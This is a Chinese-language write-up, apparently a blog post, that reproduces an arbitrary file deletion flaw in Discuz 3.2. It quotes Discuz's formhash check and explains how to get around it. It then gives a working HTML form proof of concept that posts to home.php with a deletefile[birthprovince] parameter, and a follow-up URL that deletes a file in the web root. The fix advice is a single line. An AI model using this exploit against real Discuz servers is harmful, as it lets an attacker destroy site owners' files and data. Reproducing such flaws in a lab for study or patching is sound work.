Discuz全版本任意文件删除漏洞

Discuz全版本任意文件删除漏洞

验证用的版本:discuz3.2
0x1首先在根目录下新建一个文件
Discuz全版本任意文件删除漏洞_第1张图片

0x2 构造poc1修改出生地区
Discuz全版本任意文件删除漏洞_第2张图片

注意其中的formhash需要替换掉,具体是在源码中找。
为什么这里要替换掉formhash呢?
一开始不太清楚,网页会报错,

如下Discuz全版本任意文件删除漏洞_第3张图片

看到了有一个xss验证蛮去找一下这个文件

private function _xss_check() {

        static $check = array('"', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING');

        if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash())
        {
            system_error('request_tainting');
        }

        if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
            $temp = $_SERVER['REQUEST_URI'];
        } elseif(empty ($_GET['formhash'])) {
            $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
        } else {
            $temp = '';
        }

        if(!empty($temp)) {
            $temp = strtoupper(urldecode(urldecode($temp)));
            foreach ($check as $str) {
                if(strpos($temp, $str) !== false) {
                    system_error('request_tainting');
                }
            }
        }

        return true;
    }

发现了如下代码
if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash())
{
system_error('request_tainting');
}

这里就是对formhash做判断的地方了,当然判断地方不止一个。这里formhash应该是每次登陆后随机生成的,具体源码没有去找他,但尝试两次登陆后找到的formhash不一样
0x3 构造poc2删除zsdlove.txt文件

test->poc
<form 
action="http://localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
nce]=zsdlove" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" /> <br><br>
<input type="text" name="formhash" value="3e42ef6f"/><br><br>
<input type="text" name="profilesubmit" value="1"/><br><br>
<input type="submit" value="Submit" />
from>

将该poc保存为html文件打开
Discuz全版本任意文件删除漏洞_第4张图片
随便上传一张图片,注意其中的formhash也要替换
在浏览器中访问
Discuz全版本任意文件删除漏洞_第5张图片

localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove

在看看网站根目录Discuz全版本任意文件删除漏洞_第6张图片
文件已经被删除了

0x4 修复方案:官方已经发布补丁,请尽快修复

你可能感兴趣的:(网络供给与防御)